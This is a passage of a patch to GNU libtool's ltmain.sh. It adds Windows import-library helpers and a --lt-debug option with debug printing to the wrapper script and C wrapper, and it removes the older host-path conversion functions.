+ { \"$my_originator\", (void *) 0 },"
+@@ -2736,7 +3493,7 @@ static const void *lt_preloaded_setup() {
+ for arg in $LTCFLAGS; do
+ case $arg in
+ -pie | -fpie | -fPIE) ;;
+- *) symtab_cflags="$symtab_cflags $arg" ;;
++ *) func_append symtab_cflags " $arg" ;;
+ esac
+ done
+
+@@ -2796,9 +3553,11 @@ func_win32_libid ()
+ win32_libid_type="x86 archive import"
+ ;;
+ *ar\ archive*) # could be an import, or static
+- if $OBJDUMP -f "$1" | $SED -e '10q' 2>/dev/null |
+- $EGREP 'file format (pe-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)' >/dev/null; then
+- win32_nmres=`$NM -f posix -A "$1" |
++ # Keep the egrep pattern in sync with the one in _LT_CHECK_MAGIC_METHOD.
++ if eval $OBJDUMP -f $1 | $SED -e '10q' 2>/dev/null |
++ $EGREP 'file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)' >/dev/null; then
++ func_to_tool_file "$1" func_convert_file_msys_to_w32
++ win32_nmres=`eval $NM -f posix -A \"$func_to_tool_file_result\" |
+ $SED -n -e '
+ 1,100{
+ / I /{
+@@ -2827,6 +3586,131 @@ func_win32_libid ()
+ $ECHO "$win32_libid_type"
+ }
+
++# func_cygming_dll_for_implib ARG
++#
++# Platform-specific function to extract the
++# name of the DLL associated with the specified
++# import library ARG.
++# Invoked by eval'ing the libtool variable
++# $sharedlib_from_linklib_cmd
++# Result is available in the variable
++# $sharedlib_from_linklib_result
++func_cygming_dll_for_implib ()
++{
++ $opt_debug
++ sharedlib_from_linklib_result=`$DLLTOOL --identify-strict --identify "$1"`
++}
++
++# func_cygming_dll_for_implib_fallback_core SECTION_NAME LIBNAMEs
++#
++# The is the core of a fallback implementation of a
++# platform-specific function to extract the name of the
++# DLL associated with the specified import library LIBNAME.
++#
++# SECTION_NAME is either .idata$6 or .idata$7, depending
++# on the platform and compiler that created the implib.
++#
++# Echos the name of the DLL associated with the
++# specified import library.
++func_cygming_dll_for_implib_fallback_core ()
++{
++ $opt_debug
++ match_literal=`$ECHO "$1" | $SED "$sed_make_literal_regex"`
++ $OBJDUMP -s --section "$1" "$2" 2>/dev/null |
++ $SED '/^Contents of section '"$match_literal"':/{
++ # Place marker at beginning of archive member dllname section
++ s/.*/====MARK====/
++ p
++ d
++ }
++ # These lines can sometimes be longer than 43 characters, but
++ # are always uninteresting
++ /:[ ]*file format pe[i]\{,1\}-/d
++ /^In archive [^:]*:/d
++ # Ensure marker is printed
++ /^====MARK====/p
++ # Remove all lines with less than 43 characters
++ /^.\{43\}/!d
++ # From remaining lines, remove first 43 characters
++ s/^.\{43\}//' |
++ $SED -n '
++ # Join marker and all lines until next marker into a single line
++ /^====MARK====/ b para
++ H
++ $ b para
++ b
++ :para
++ x
++ s/\n//g
++ # Remove the marker
++ s/^====MARK====//
++ # Remove trailing dots and whitespace
++ s/[\. \t]*$//
++ # Print
++ /./p' |
++ # we now have a list, one entry per line, of the stringified
++ # contents of the appropriate section of all members of the
++ # archive which possess that section. Heuristic: eliminate
++ # all those which have a first or second character that is
++ # a '.' (that is, objdump's representation of an unprintable
++ # character.) This should work for all archives with less than
++ # 0x302f exports -- but will fail for DLLs whose name actually
++ # begins with a literal '.' or a single character followed by
++ # a '.'.
++ #
++ # Of those that remain, print the first one.
++ $SED -e '/^\./d;/^.\./d;q'
++}
++
++# func_cygming_gnu_implib_p ARG
++# This predicate returns with zero status (TRUE) if
++# ARG is a GNU/binutils-style import library. Returns
++# with nonzero status (FALSE) otherwise.
++func_cygming_gnu_implib_p ()
++{
++ $opt_debug
++ func_to_tool_file "$1" func_convert_file_msys_to_w32
++ func_cygming_gnu_implib_tmp=`$NM "$func_to_tool_file_result" | eval "$global_symbol_pipe" | $EGREP ' (_head_[A-Za-z0-9_]+_[ad]l*|[A-Za-z0-9_]+_[ad]l*_iname)$'`
++ test -n "$func_cygming_gnu_implib_tmp"
++}
++
++# func_cygming_ms_implib_p ARG
++# This predicate returns with zero status (TRUE) if
++# ARG is an MS-style import library. Returns
++# with nonzero status (FALSE) otherwise.
++func_cygming_ms_implib_p ()
++{
++ $opt_debug
++ func_to_tool_file "$1" func_convert_file_msys_to_w32
++ func_cygming_ms_implib_tmp=`$NM "$func_to_tool_file_result" | eval "$global_symbol_pipe" | $GREP '_NULL_IMPORT_DESCRIPTOR'`
++ test -n "$func_cygming_ms_implib_tmp"
++}
++
++# func_cygming_dll_for_implib_fallback ARG
++# Platform-specific function to extract the
++# name of the DLL associated with the specified
++# import library ARG.
++#
++# This fallback implementation is for use when $DLLTOOL
++# does not support the --identify-strict option.
++# Invoked by eval'ing the libtool variable
++# $sharedlib_from_linklib_cmd
++# Result is available in the variable
++# $sharedlib_from_linklib_result
++func_cygming_dll_for_implib_fallback ()
++{
++ $opt_debug
++ if func_cygming_gnu_implib_p "$1" ; then
++ # binutils import library
++ sharedlib_from_linklib_result=`func_cygming_dll_for_implib_fallback_core '.idata$7' "$1"`
++ elif func_cygming_ms_implib_p "$1" ; then
++ # ms-generated import library
++ sharedlib_from_linklib_result=`func_cygming_dll_for_implib_fallback_core '.idata$6' "$1"`
++ else
++ # unknown
++ sharedlib_from_linklib_result=""
++ fi
++}
+
+
+ # func_extract_an_archive dir oldlib
+@@ -2917,7 +3801,7 @@ func_extract_archives ()
+ darwin_file=
+ darwin_files=
+ for darwin_file in $darwin_filelist; do
+- darwin_files=`find unfat-$$ -name $darwin_file -print | $NL2SP`
++ darwin_files=`find unfat-$$ -name $darwin_file -print | sort | $NL2SP`
+ $LIPO -create -output "$darwin_file" $darwin_files
+ done # $darwin_filelist
+ $RM -rf unfat-$$
+@@ -2932,7 +3816,7 @@ func_extract_archives ()
+ func_extract_an_archive "$my_xdir" "$my_xabs"
+ ;;
+ esac
+- my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | $NL2SP`
++ my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | sort | $NL2SP`
+ done
+
+ func_extract_archives_result="$my_oldobjs"
+@@ -3014,7 +3898,110 @@ func_fallback_echo ()
+ _LTECHO_EOF'
+ }
+ ECHO=\"$qECHO\"
+- fi\
++ fi
++
++# Very basic option parsing. These options are (a) specific to
++# the libtool wrapper, (b) are identical between the wrapper
++# /script/ and the wrapper /executable/ which is used only on
++# windows platforms, and (c) all begin with the string "--lt-"
++# (application programs are unlikely to have options which match
++# this pattern).
++#
++# There are only two supported options: --lt-debug and
++# --lt-dump-script. There is, deliberately, no --lt-help.
++#
++# The first argument to this parsing function should be the
++# script's $0 value, followed by "$@".
++lt_option_debug=
++func_parse_lt_options ()
++{
++ lt_script_arg0=\$0
++ shift
++ for lt_opt
++ do
++ case \"\$lt_opt\" in
++ --lt-debug) lt_option_debug=1 ;;
++ --lt-dump-script)
++ lt_dump_D=\`\$ECHO \"X\$lt_script_arg0\" | $SED -e 's/^X//' -e 's%/[^/]*$%%'\`
++ test \"X\$lt_dump_D\" = \"X\$lt_script_arg0\" && lt_dump_D=.
++ lt_dump_F=\`\$ECHO \"X\$lt_script_arg0\" | $SED -e 's/^X//' -e 's%^.*/%%'\`
++ cat \"\$lt_dump_D/\$lt_dump_F\"
++ exit 0
++ ;;
++ --lt-*)
++ \$ECHO \"Unrecognized --lt- option: '\$lt_opt'\" 1>&2
++ exit 1
++ ;;
++ esac
++ done
++
++ # Print the debug banner immediately:
++ if test -n \"\$lt_option_debug\"; then
++ echo \"${outputname}:${output}:\${LINENO}: libtool wrapper (GNU $PACKAGE$TIMESTAMP) $VERSION\" 1>&2
++ fi
++}
++
++# Used when --lt-debug. Prints its arguments to stdout
++# (redirection is the responsibility of the caller)
++func_lt_dump_args ()
++{
++ lt_dump_args_N=1;
++ for lt_arg
++ do
++ \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[\$lt_dump_args_N]: \$lt_arg\"
++ lt_dump_args_N=\`expr \$lt_dump_args_N + 1\`
++ done
++}
++
++# Core function for launching the target application
++func_exec_program_core ()
++{
++"
++ case $host in
++ # Backslashes separate directories on plain windows
++ *-*-mingw | *-*-os2* | *-cegcc*)
++ $ECHO "\
++ if test -n \"\$lt_option_debug\"; then
++ \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[0]: \$progdir\\\\\$program\" 1>&2
++ func_lt_dump_args \${1+\"\$@\"} 1>&2
++ fi
++ exec \"\$progdir\\\\\$program\" \${1+\"\$@\"}
++"
++ ;;
++
++ *)
++ $ECHO "\
++ if test -n \"\$lt_option_debug\"; then
++ \$ECHO \"${outputname}:${output}:\${LINENO}: newargv[0]: \$progdir/\$program\" 1>&2
++ func_lt_dump_args \${1+\"\$@\"} 1>&2
++ fi
++ exec \"\$progdir/\$program\" \${1+\"\$@\"}
++"
++ ;;
++ esac
++ $ECHO "\
++ \$ECHO \"\$0: cannot exec \$program \$*\" 1>&2
++ exit 1
++}
++
++# A function to encapsulate launching the target application
++# Strips options in the --lt-* namespace from \$@ and
++# launches target application with the remaining arguments.
++func_exec_program ()
++{
++ for lt_wr_arg
++ do
++ case \$lt_wr_arg in
++ --lt-*) ;;
++ *) set x \"\$@\" \"\$lt_wr_arg\"; shift;;
++ esac
++ shift
++ done
++ func_exec_program_core \${1+\"\$@\"}
++}
++
++ # Parse options
++ func_parse_lt_options \"\$0\" \${1+\"\$@\"}
+
+ # Find the directory that this script lives in.
+ thisdir=\`\$ECHO \"\$file\" | $SED 's%/[^/]*$%%'\`
+@@ -3078,7 +4065,7 @@ _LTECHO_EOF'
+
+ # relink executable if necessary
+ if test -n \"\$relink_command\"; then
+- if relink_command_output=\`eval \"\$relink_command\" 2>&1\`; then :
++ if relink_command_output=\`eval \$relink_command 2>&1\`; then :
+ else
+ $ECHO \"\$relink_command_output\" >&2
+ $RM \"\$progdir/\$file\"
+@@ -3102,6 +4089,18 @@ _LTECHO_EOF'
+
+ if test -f \"\$progdir/\$program\"; then"
+
++ # fixup the dll searchpath if we need to.
++ #
++ # Fix the DLL searchpath if we need to. Do this before prepending
++ # to shlibpath, because on Windows, both are PATH and uninstalled
++ # libraries must come first.
++ if test -n "$dllsearchpath"; then
++ $ECHO "\
++ # Add the dll search path components to the executable PATH
++ PATH=$dllsearchpath:\$PATH
++"
++ fi
++
+ # Export our shlibpath_var if we have one.
+ if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then
+ $ECHO "\
+@@ -3116,35 +4115,10 @@ _LTECHO_EOF'
+ "
+ fi
+
+- # fixup the dll searchpath if we need to.
+- if test -n "$dllsearchpath"; then
+- $ECHO "\
+- # Add the dll search path components to the executable PATH
+- PATH=$dllsearchpath:\$PATH
+-"
+- fi
+-
+ $ECHO "\
+ if test \"\$libtool_execute_magic\" != \"$magic\"; then
+ # Run the actual program with our arguments.
+-"
+- case $host in
+- # Backslashes separate directories on plain windows
+- *-*-mingw | *-*-os2* | *-cegcc*)
+- $ECHO "\
+- exec \"\$progdir\\\\\$program\" \${1+\"\$@\"}
+-"
+- ;;
+-
+- *)
+- $ECHO "\
+- exec \"\$progdir/\$program\" \${1+\"\$@\"}
+-"
+- ;;
+- esac
+- $ECHO "\
+- \$ECHO \"\$0: cannot exec \$program \$*\" 1>&2
+- exit 1
++ func_exec_program \${1+\"\$@\"}
+ fi
+ else
+ # The program doesn't exist.
+@@ -3158,166 +4132,6 @@ fi\
+ }
+
+
+-# func_to_host_path arg
+-#
+-# Convert paths to host format when used with build tools.
+-# Intended for use with "native" mingw (where libtool itself
+-# is running under the msys shell), or in the following cross-
+-# build environments:
+-# $build $host
+-# mingw (msys) mingw [e.g. native]
+-# cygwin mingw
+-# *nix + wine mingw
+-# where wine is equipped with the `winepath' executable.
+-# In the native mingw case, the (msys) shell automatically
+-# converts paths for any non-msys applications it launches,
+-# but that facility isn't available from inside the cwrapper.
+-# Similar accommodations are necessary for $host mingw and
+-# $build cygwin. Calling this function does no harm for other
+-# $host/$build combinations not listed above.
+-#
+-# ARG is the path (on $build) that should be converted to
+-# the proper representation for $host. The result is stored
+-# in $func_to_host_path_result.
+-func_to_host_path ()
+-{
+- func_to_host_path_result="$1"
+- if test -n "$1"; then
+- case $host in
+- *mingw* )
+- lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g'
+- case $build in
+- *mingw* ) # actually, msys
+- # awkward: cmd appends spaces to result
+- func_to_host_path_result=`( cmd //c echo "$1" ) 2>/dev/null |
+- $SED -e 's/[ ]*$//' -e "$lt_sed_naive_backslashify"`
+- ;;
+- *cygwin* )
+- func_to_host_path_result=`cygpath -w "$1" |
+- $SED -e "$lt_sed_naive_backslashify"`
+- ;;
+- * )
+- # Unfortunately, winepath does not exit with a non-zero
+- # error code, so we are forced to check the contents of
+- # stdout. On the other hand, if the command is not
+- # found, the shell will set an exit code of 127 and print
+- # *an error message* to stdout. So we must check for both
+- # error code of zero AND non-empty stdout, which explains
+- # the odd construction:
+- func_to_host_path_tmp1=`winepath -w "$1" 2>/dev/null`
+- if test "$?" -eq 0 && test -n "${func_to_host_path_tmp1}"; then
+- func_to_host_path_result=`$ECHO "$func_to_host_path_tmp1" |
+- $SED -e "$lt_sed_naive_backslashify"`
+- else
+- # Allow warning below.
+- func_to_host_path_result=
+- fi
+- ;;
+- esac
+- if test -z "$func_to_host_path_result" ; then
+- func_error "Could not determine host path corresponding to"
+- func_error " \`$1'"
+- func_error "Continuing, but uninstalled executables may not work."
+- # Fallback:
+- func_to_host_path_result="$1"
+- fi
+- ;;
+- esac
+- fi
+-}
+-# end: func_to_host_path
+-
+-# func_to_host_pathlist arg
+-#
+-# Convert pathlists to host format when used with build tools.
+-# See func_to_host_path(), above. This function supports the
+-# following $build/$host combinations (but does no harm for
+-# combinations not listed here):
+-# $build $host
+-# mingw (msys) mingw [e.g. native]
+-# cygwin mingw
+-# *nix + wine mingw
+-#
+-# Path separators are also converted from $build format to
+-# $host format. If ARG begins or ends with a path separator
+-# character, it is preserved (but converted to $host format)
+-# on output.
+-#
+-# ARG is a pathlist (on $build) that should be converted to
+-# the proper representation on $host. The result is stored
+-# in $func_to_host_pathlist_result.
+-func_to_host_pathlist ()
+-{
+- func_to_host_pathlist_result="$1"
+- if test -n "$1"; then
+- case $host in
+- *mingw* )
+- lt_sed_naive_backslashify='s|\\\\*|\\|g;s|/|\\|g;s|\\|\\\\|g'
+- # Remove leading and trailing path separator characters from
+- # ARG. msys behavior is inconsistent here, cygpath turns them
+- # into '.;' and ';.', and winepath ignores them completely.
+- func_stripname : : "$1"
+- func_to_host_pathlist_tmp1=$func_stripname_result
+- case $build in
+- *mingw* ) # Actually, msys.
+- # Awkward: cmd appends spaces to result.
+- func_to_host_pathlist_result=`
+- ( cmd //c echo "$func_to_host_pathlist_tmp1" ) 2>/dev/null |
+- $SED -e 's/[ ]*$//' -e "$lt_sed_naive_backslashify"`
+- ;;
+- *cygwin* )
+- func_to_host_pathlist_result=`cygpath -w -p "$func_to_host_pathlist_tmp1" |
+- $SED -e "$lt_sed_naive_backslashify"`
+- ;;
+- * )
+- # unfortunately, winepath doesn't convert pathlists
+- func_to_host_pathlist_result=""
+- func_to_host_pathlist_oldIFS=$IFS
+- IFS=:
+- for func_to_host_pathlist_f in $func_to_host_pathlist_tmp1 ; do
+- IFS=$func_to_host_pathlist_oldIFS
+- if test -n "$func_to_host_pathlist_f" ; then
+- func_to_host_path "$func_to_host_pathlist_f"
+- if test -n "$func_to_host_path_result" ; then
+- if test -z "$func_to_host_pathlist_result" ; then
+- func_to_host_pathlist_result="$func_to_host_path_result"
+- else
+- func_append func_to_host_pathlist_result ";$func_to_host_path_result"
+- fi
+- fi
+- fi
+- done
+- IFS=$func_to_host_pathlist_oldIFS
+- ;;
+- esac
+- if test -z "$func_to_host_pathlist_result"; then
+- func_error "Could not determine the host path(s) corresponding to"
+- func_error " \`$1'"
+- func_error "Continuing, but uninstalled executables may not work."
+- # Fallback. This may break if $1 contains DOS-style drive
+- # specifications. The fix is not to complicate the expression
+- # below, but for the user to provide a working wine installation
+- # with winepath so that path translation in the cross-to-mingw
+- # case works properly.
+- lt_replace_pathsep_nix_to_dos="s|:|;|g"
+- func_to_host_pathlist_result=`echo "$func_to_host_pathlist_tmp1" |\
+- $SED -e "$lt_replace_pathsep_nix_to_dos"`
+- fi
+- # Now, add the leading and trailing path separators back
+- case "$1" in
+- :* ) func_to_host_pathlist_result=";$func_to_host_pathlist_result"
+- ;;
+- esac
+- case "$1" in
+- *: ) func_append func_to_host_pathlist_result ";"
+- ;;
+- esac
+- ;;
+- esac
+- fi
+-}
+-# end: func_to_host_pathlist
+-
+ # func_emit_cwrapperexe_src
+ # emit the source code for a wrapper executable on stdout
+ # Must ONLY be called from within func_mode_link because
+@@ -3334,10 +4148,6 @@ func_emit_cwrapperexe_src ()
+
+ This wrapper executable should never be moved out of the build directory.
+ If it is, it will not operate correctly.
+-
+- Currently, it simply execs the wrapper *script* "$SHELL $output",
+- but could eventually absorb all of the scripts functionality and
+- exec $objdir/$outputname directly.
+ */
+ EOF
+ cat <<"EOF"
+@@ -3462,22 +4272,13 @@ int setenv (const char *, const char *, int);
+ if (stale) { free ((void *) stale); stale = 0; } \
+ } while (0)
+
+-#undef LTWRAPPER_DEBUGPRINTF
+-#if defined LT_DEBUGWRAPPER
+-# define LTWRAPPER_DEBUGPRINTF(args) ltwrapper_debugprintf args
+-static void
+-ltwrapper_debugprintf (const char *fmt, ...)
+-{
+- va_list args;
+- va_start (args, fmt);
+- (void) vfprintf (stderr, fmt, args);
+- va_end (args);
+-}
++#if defined(LT_DEBUGWRAPPER)
++static int lt_debug = 1;
+ #else
+-# define LTWRAPPER_DEBUGPRINTF(args)
++static int lt_debug = 0;
+ #endif
+
+-const char *program_name = NULL;
++const char *program_name = "libtool-wrapper"; /* in case xstrdup fails */
+
+ void *xmalloc (size_t num);
+ char *xstrdup (const char *string);
+@@ -3487,7 +4288,10 @@ char *chase_symlinks (const char *pathspec);
+ int make_executable (const char *path);
+ int check_executable (const char *path);
+ char *strendzap (char *str, const char *pat);
+-void lt_fatal (const char *message, ...);
++void lt_debugprintf (const char *file, int line, const char *fmt, ...);
++void lt_fatal (const char *file, int line, const char *message, ...);
++static const char *nonnull (const char *s);
++static const char *nonempty (const char *s);
+ void lt_setenv (const char *name, const char *value);
+ char *lt_extend_str (const char *orig_value, const char *add, int to_end);
+ void lt_update_exe_path (const char *name, const char *value);
+@@ -3497,14 +4301,14 @@ void lt_dump_script (FILE *f);
+ EOF
+
+ cat <<EOF
+-const char * MAGIC_EXE = "$magic_exe";
++volatile const char * MAGIC_EXE = "$magic_exe";
+ const char * LIB_PATH_VARNAME = "$shlibpath_var";
+ EOF
+
+ if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then
+- func_to_host_pathlist "$temp_rpath"
++ func_to_host_path "$temp_rpath"
+ cat <<EOF
+-const char * LIB_PATH_VALUE = "$func_to_host_pathlist_result";
++const char * LIB_PATH_VALUE = "$func_to_host_path_result";
+ EOF
+ else
+ cat <<"EOF"
+@@ -3513,10 +4317,10 @@ EOF
+ fi
+
+ if test -n "$dllsearchpath"; then
+- func_to_host_pathlist "$dllsearchpath:"
++ func_to_host_path "$dllsearchpath:"
+ cat <<EOF
+ const char * EXE_PATH_VARNAME = "PATH";
+-const char * EXE_PATH_VALUE = "$func_to_host_pathlist_result";
++const char * EXE_PATH_VALUE = "$func_to_host_path_result";
+ EOF
+ else
+ cat <<"EOF"
+@@ -3539,12 +4343,10 @@ EOF
+ cat <<"EOF"
+
+ #define LTWRAPPER_OPTION_PREFIX "--lt-"
+-#define LTWRAPPER_OPTION_PREFIX_LENGTH 5
+
+-static const size_t opt_prefix_len = LTWRAPPER_OPTION_PREFIX_LENGTH;
+ static const char *ltwrapper_option_prefix = LTWRAPPER_OPTION_PREFIX;
+-
+ static const char *dumpscript_opt = LTWRAPPER_OPTION_PREFIX "dump-script";
++static const char *debug_opt = LTWRAPPER_OPTION_PREFIX "debug";
+
+ int
+ main (int argc, char *argv[])
+@@ -3561,10 +4363,13 @@ main (int argc, char *argv[])
+ int i;
+
+ program_name = (char *) xstrdup (base_name (argv[0]));
+- LTWRAPPER_DEBUGPRINTF (("(main) argv[0] : %s\n", argv[0]));
+- LTWRAPPER_DEBUGPRINTF (("(main) program_name : %s\n", program_name));
++ newargz = XMALLOC (char *, argc + 1);
+
+- /* very simple arg parsing; don't want to rely on getopt */
++ /* very simple arg parsing; don't want to rely on getopt
++ * also, copy all non cwrapper options to newargz, except
++ * argz[0], which is handled differently
++ */
++ newargc=0;
+ for (i = 1; i < argc; i++)
+ {
+ if (strcmp (argv[i], dumpscript_opt) == 0)
+@@ -3581,21 +4386,54 @@ EOF
+ lt_dump_script (stdout);
+ return 0;
+ }
++ if (strcmp (argv[i], debug_opt) == 0)
++ {
++ lt_debug = 1;
++ continue;
++ }
++ if (strcmp (argv[i], ltwrapper_option_prefix) == 0)
++ {
++ /* however, if there is an option in the LTWRAPPER_OPTION_PREFIX
++ namespace, but it is not one of the ones we know about and
++ have already dealt with, above (inluding dump-script), then
++ report an error. Otherwise, targets might begin to believe
++ they are allowed to use options in the LTWRAPPER_OPTION_PREFIX
++ namespace. The first time any user complains about this, we'll
++ need to make LTWRAPPER_OPTION_PREFIX a configure-time option
++ or a configure.ac-settable value.
++ */
++ lt_fatal (__FILE__, __LINE__,
++ "unrecognized %s option: '%s'",
++ ltwrapper_option_prefix, argv[i]);
++ }
++ /* otherwise ... */
++ newargz[++newargc] = xstrdup (argv[i]);
+ }
++ newargz[++newargc] = NULL;
++
++EOF
++ cat <<EOF
++ /* The GNU banner must be the first non-error debug message */
++ lt_debugprintf (__FILE__, __LINE__, "libtool wrapper (GNU $PACKAGE$TIMESTAMP) $VERSION\n");
++EOF
++ cat <<"EOF"
++ lt_debugprintf (__FILE__, __LINE__, "(main) argv[0]: %s\n", argv[0]);
++ lt_debugprintf (__FILE__, __LINE__, "(main) program_name: %s\n", program_name);
+
+- newargz = XMALLOC (char *, argc + 1);
+ tmp_pathspec = find_executable (argv[0]);
+ if (tmp_pathspec == NULL)
+- lt_fatal ("Couldn't find %s", argv[0]);
+- LTWRAPPER_DEBUGPRINTF (("(main) found exe (before symlink chase) at : %s\n",
+- tmp_pathspec));
++ lt_fatal (__FILE__, __LINE__, "couldn't find %s", argv[0]);
++ lt_debugprintf (__FILE__, __LINE__,
++ "(main) found exe (before symlink chase) at: %s\n",
++ tmp_pathspec);
+
+ actual_cwrapper_path = chase_symlinks (tmp_pathspec);
+- LTWRAPPER_DEBUGPRINTF (("(main) found exe (after symlink chase) at : %s\n",
+- actual_cwrapper_path));
++ lt_debugprintf (__FILE__, __LINE__,
++ "(main) found exe (after symlink chase) at: %s\n",
++ actual_cwrapper_path);
+ XFREE (tmp_pathspec);
+
+- actual_cwrapper_name = xstrdup( base_name (actual_cwrapper_path));
++ actual_cwrapper_name = xstrdup (base_name (actual_cwrapper_path));
+ strendzap (actual_cwrapper_path, actual_cwrapper_name);
+
+ /* wrapper name transforms */
+@@ -3613,8 +4451,9 @@ EOF
+ target_name = tmp_pathspec;
+ tmp_pathspec = 0;
+
+- LTWRAPPER_DEBUGPRINTF (("(main) libtool target name: %s\n",
+- target_name));
++ lt_debugprintf (__FILE__, __LINE__,
++ "(main) libtool target name: %s\n",
++ target_name);
+ EOF
+
+ cat <<EOF
+@@ -3664,35 +4503,19 @@ EOF
+
+ lt_setenv ("BIN_SH", "xpg4"); /* for Tru64 */
+ lt_setenv ("DUALCASE", "1"); /* for MSK sh */
+- lt_update_lib_path (LIB_PATH_VARNAME, LIB_PATH_VALUE);
++ /* Update the DLL searchpath. EXE_PATH_VALUE ($dllsearchpath) must
++ be prepended before (that is, appear after) LIB_PATH_VALUE ($temp_rpath)
++ because on Windows, both *_VARNAMEs are PATH but uninstalled
++ libraries must come first. */
+ lt_update_exe_path (EXE_PATH_VARNAME, EXE_PATH_VALUE);
++ lt_update_lib_path (LIB_PATH_VARNAME, LIB_PATH_VALUE);
+
+- newargc=0;
+- for (i = 1; i < argc; i++)
+- {
+- if (strncmp (argv[i], ltwrapper_option_prefix, opt_prefix_len) == 0)
+- {
+- /* however, if there is an option in the LTWRAPPER_OPTION_PREFIX
+- namespace, but it is not one of the ones we know about and
+- have already dealt with, above (inluding dump-script), then
+- report an error. Otherwise, targets might begin to believe
+- they are allowed to use options in the LTWRAPPER_OPTION_PREFIX
+- namespace. The first time any user complains about this, we'll
+- need to make LTWRAPPER_OPTION_PREFIX a configure-time option
+- or a configure.ac-settable value.
+- */
+- lt_fatal ("Unrecognized option in %s namespace: '%s'",
+- ltwrapper_option_prefix, argv[i]);
+- }
+- /* otherwise ... */
+- newargz[++newargc] = xstrdup (argv[i]);
+- }
+- newargz[++newargc] = NULL;
+-
+- LTWRAPPER_DEBUGPRINTF (("(main) lt_argv_zero : %s\n", (lt_argv_zero ? lt_argv_zero : "<NULL>")));
++ lt_debugprintf (__FILE__, __LINE__, "(main) lt_argv_zero: %s\n",
++ nonnull (lt_argv_zero));
+ for (i = 0; i < newargc; i++)
+ {
+- LTWRAPPER_DEBUGPRINTF (("(main) newargz[%d] : %s\n", i, (newargz[i] ? newargz[i] : "<NULL>")));
++ lt_debugprintf (__FILE__, __LINE__, "(main) newargz[%d]: %s\n",
++ i, nonnull (newargz[i]));
+ }
+
+ EOF
+@@ -3706,7 +4529,9 @@ EOF
+ if (rval == -1)
+ {
+ /* failed to start process */
+- LTWRAPPER_DEBUGPRINTF (("(main) failed to launch target \"%s\": errno = %d\n", lt_argv_zero, errno));
++ lt_debugprintf (__FILE__, __LINE__,
++ "(main) failed to launch target \"%s\": %s\n",
++ lt_argv_zero, nonnull (strerror (errno)));
+ return 127;
+ }
+ return rval;
+@@ -3728,7 +4553,7 @@ xmalloc (size_t num)
+ {
+ void *p = (void *) malloc (num);
+ if (!p)
+- lt_fatal ("Memory exhausted");
++ lt_fatal (__FILE__, __LINE__, "memory exhausted");
+
+ return p;
+ }
+@@ -3762,8 +4587,8 @@ check_executable (const char *path)
+ {
+ struct stat st;
+
+- LTWRAPPER_DEBUGPRINTF (("(check_executable) : %s\n",
+- path ? (*path ? path : "EMPTY!") : "NULL!"));
++ lt_debugprintf (__FILE__, __LINE__, "(check_executable): %s\n",
++ nonempty (path));
+ if ((!path) || (!*path))
+ return 0;
+
+@@ -3780,8 +4605,8 @@ make_executable (const char *path)
+ int rval = 0;
+ struct stat st;
+
+- LTWRAPPER_DEBUGPRINTF (("(make_executable) : %s\n",
+- path ? (*path ? path : "EMPTY!") : "NULL!"));
++ lt_debugprintf (__FILE__, __LINE__, "(make_executable): %s\n",
++ nonempty (path));
+ if ((!path) || (!*path))
+ return 0;
+
+@@ -3807,8 +4632,8 @@ find_executable (const char *wrapper)
+ int tmp_len;
+ char *concat_name;
+
+- LTWRAPPER_DEBUGPRINTF (("(find_executable) : %s\n",
+- wrapper ? (*wrapper ? wrapper : "EMPTY!") : "NULL!"));
++ lt_debugprintf (__FILE__, __LINE__, "(find_executable): %s\n",
++ nonempty (wrapper));
+
+ if ((wrapper == NULL) || (*wrapper == '\0'))
+ return NULL;
+@@ -3861,7 +4686,8 @@ find_executable (const char *wrapper)
+ {
+ /* empty path: current directory */
+ if (getcwd (tmp, LT_PATHMAX) == NULL)
+- lt_fatal ("getcwd failed");
++ lt_fatal (__FILE__, __LINE__, "getcwd failed: %s",
++ nonnull (strerror (errno)));
+ tmp_len = strlen (tmp);
+ concat_name =
+ XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1);
+@@ -3886,7 +4712,8 @@ find_executable (const char *wrapper)
+ }
+ /* Relative path | not found in path: prepend cwd */
+ if (getcwd (tmp, LT_PATHMAX) == NULL)
+- lt_fatal ("getcwd failed");
++ lt_fatal (__FILE__, __LINE__, "getcwd failed: %s",
++ nonnull (strerror (errno)));
+ tmp_len = strlen (tmp);
+ concat_name = XMALLOC (char, tmp_len + 1 + strlen (wrapper) + 1);
+ memcpy (concat_name, tmp, tmp_len);
+@@ -3912,8 +4739,9 @@ chase_symlinks (const char *pathspec)
+ int has_symlinks = 0;
+ while (strlen (tmp_pathspec) && !has_symlinks)
+ {
+- LTWRAPPER_DEBUGPRINTF (("checking path component for symlinks: %s\n",
+- tmp_pathspec));
++ lt_debugprintf (__FILE__, __LINE__,
++ "checking path component for symlinks: %s\n",
++ tmp_pathspec);
+ if (lstat (tmp_pathspec, &s) == 0)
+ {
+ if (S_ISLNK (s.st_mode) != 0)
+@@ -3935,8 +4763,9 @@ chase_symlinks (const char *pathspec)
+ }
+ else
+ {
+- char *errstr = strerror (errno);
+- lt_fatal ("Error accessing file %s (%s)", tmp_pathspec, errstr);
++ lt_fatal (__FILE__, __LINE__,
++ "error accessing file \"%s\": %s",
++ tmp_pathspec, nonnull (strerror (errno)));
+ }
+ }
+ XFREE (tmp_pathspec);
+@@ -3949,7 +4778,8 @@ chase_symlinks (const char *pathspec)
+ tmp_pathspec = realpath (pathspec, buf);
+ if (tmp_pathspec == 0)
+ {
+- lt_fatal ("Could not follow symlinks for %s", pathspec);
++ lt_fatal (__FILE__, __LINE__,
++ "could not follow symlinks for %s", pathspec);
+ }
+ return xstrdup (tmp_pathspec);
+ #endif
+@@ -3975,11 +4805,25 @@ strendzap (char *str, const char *pat)
+ return str;
+ }
+
++void
++lt_debugprintf (const char *file, int line, const char *fmt, ...)
++{
++ va_list args;
++ if (lt_debug)
++ {
++ (void) fprintf (stderr, "%s:%s:%d: ", program_name, file, line);
++ va_start (args, fmt);
++ (void) vfprintf (stderr, fmt, args);
